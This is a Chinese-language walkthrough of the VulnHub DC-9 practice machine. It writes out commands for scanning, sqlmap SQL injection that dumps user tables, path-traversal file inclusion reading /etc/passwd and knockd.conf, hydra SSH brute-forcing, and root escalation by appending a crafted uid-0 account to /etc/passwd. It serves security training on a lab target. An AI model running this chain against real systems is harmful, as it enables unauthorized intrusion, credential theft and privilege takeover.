一、环境搭建
DC-9下载地址:https://download.vulnhub.com/dc/DC-9.zip
kali:192.168.144.148
DC-9:192.168.144.158
二、渗透流程
nmap -T5 -A -p- -sV -sT 192.168.144.158
![](https://img-blog.csdnimg.cn/57550c1023f343c3878916e1b71cfedd.png#pic_center)
思路:
1、80端口
目录扫描:dirb、gobuster、dirsearch等工具;
web站点资产识别:goby、whatweb等;
web站点功能页面;
分析网页源代码;
……2、22端口
ssh爆破、有账号密码信息进行远程登录
……3、目录扫描、指纹识别
结果暂无有用信息,对页面功能点进行检查
目录扫描:dirsearch -u http://192.168.144.158
指纹识别:whatweb http://102.168.144.158
2.1、SQL注入
1.爆数据库
方法1:sqlmap -r 1.txt --dbs #抓包POST注入
方法2:sqlmap -u "http://192.168.144.158/results.php" --data "search=1" --dbs
![](https://img-blog.csdnimg.cn/62f816aed0c343c987267ee7cf441ba1.png#pic_center)
2.爆Staff数据库的表
方法1:sqlmap -u "http://192.168.144.158/results.php" --data "search=1" -D Staff --tables
方法2:sqlmap -r 1.txt -D Staff --tables
![](https://img-blog.csdnimg.cn/3e2db2f9454d483d806a20e319c259b5.png#pic_center)
3.爆Users表的字段
方法1:sqlmap -u "http://192.168.144.158/results.php" --data "search=1" -D Staff -T Users --dump
方法2:sqlmap -r 1.txt -D Staff -T Users --dump
![](https://img-blog.csdnimg.cn/518480b44b8e4d4481b4be4d8373a61d.png#pic_center)
4.解密password
md5解密地址:https://www.somd5.com/
账号 密码:admin transorbital1
![](https://img-blog.csdnimg.cn/08f3fe4de88344e3be259bf910a66c1b.png#pic_center)
5.爆数据库users的表
sqlmap -u "http://192.168.144.158/results.php" --data "search=1" -D users --tables
sqlmap -r 1.txt -D users --tables
![](https://img-blog.csdnimg.cn/b54124a0ed474fd4b432f5028fbd965a.png#pic_center)
6.爆UserDetails表的字段
sqlmap -u "http://192.168.144.158/results.php" --data "search=1" -D users -T UserDetails --dump
sqlmap -r 1.txt -D users -T UserDetails --dump
![](https://img-blog.csdnimg.cn/f9e6e555cb64493da8b516b16cfce7b0.png#pic_center)
思路:
1、获取到admin账号和密码,登录后台;
2、users数据库爆破出的账号密码暂时无用。
2.2、文件包含
1.登录后台
文件包含线索:1.页面显示File does not exist;2.目录爆破的时候发现include目录。
![](https://img-blog.csdnimg.cn/e6bcd3f0955f411f8035882149b06aac.png#pic_center)
2./etc/password
wfuzz -b 'PHPSESSID=jto9ulf88r04ds3570qb4sfl4b' --hw 100 -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.144.158/manage.php?FUZZ=../../../../../../../../../etc/passwd
访问:http://192.168.144.158/manage.php?file=../../../../../../../../../etc/passwd
![](https://img-blog.csdnimg.cn/592e6ee0507d419a9ee6bb944aa2fdee.png#pic_center)
2.3、连接SSH
1.利用UserDetails表的字段,爆破ssh账号密码
hydra -L user-dict -P pass-dict 192.168.144.158 ssh
思路:
1、用户被限制登录
2、运行了knockd服务
3、端口被限制(防火墙)
2.访问敲门服务配置文件knockd.conf
http://192.168.144.158/manage.php?file=…/…/…/…/…/…/…/…/…/…/etc/knockd.conf
![](https://img-blog.csdnimg.cn/7c00df8ec1384fa98277edfc6488648d.png#pic_center)
3.利用nmap进行敲门
4.22端口开启
5.再次爆破ssh账密
hydra -L user-dict -P pass-dict 192.168.144.158 ssh
爆破出有3个用户,
chandlerb UrAG0D!
、joeyt Passw0rd
、janitor Ilovepeepee
6.ssh连接
ssh chandlerb@192.168.144.158
ssh joeyt@192.168.144.158
ssh janitor@192.168.144.158
发现新的密码文件
结合之前获取到的账号,再次进行爆破
得到用户:
fredf B4-Tru3-001
使用账密登录ssh:ssh fredf@192.168.144.158
![](https://img-blog.csdnimg.cn/36d421f9c900422c937ed8d1abf5a093.png#pic_center)
发现无需密码,就可以以root权限执行的文件
sudo -l
![](https://img-blog.csdnimg.cn/88f0b8aaf0c24ff49e071ec27c990656.png#pic_center)
查看test文件,发现其为乱码
./test查看文件用法
usage:test.py文件的读和追加。
查找test.py文件
find / -name "test.py" 2>/dev/null
cat /opt/devstuff/test.py
![](https://img-blog.csdnimg.cn/a6f8658635c14df2beb673f5a0603f34.png#pic_center)
md5加盐加密
openssl passwd -1 -salt testDC9 123456
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密
![](https://img-blog.csdnimg.cn/1d0707b0f10a4555bfd4310913ea7c70.png#pic_center)
写入/tmp临时目录下
echo 'testDC9:$1$testDC9$7DqifpbKzKYKpgnH4SUlz.:0:0::/root:/bin/bash' >> /tmp/passwd
![](https://img-blog.csdnimg.cn/aaf619b0e0db42f9af494b66b29ee8b1.png#pic_center)
在root权限的目录下运行test程序
cd /opt/devstuff/dist/test/
sudo ./test /tmp/passwd /etc/passwd
su testDC9
![](https://img-blog.csdnimg.cn/e49a931d05984fd582a70d625e2d6887.png#pic_center)
查看flag
三、思路总结
1、信息收集22和80端口;
2、web站点,发现sql注入和文件包含;
3、利用sql注入获取到账号密码登录后台;
4、利用文件包含查看敲门服务配置文件knockd.conf;
5、ssh连接,查看文件;
6、寻找可以root权限执行的文件;
7、写入用户,以root身份运行。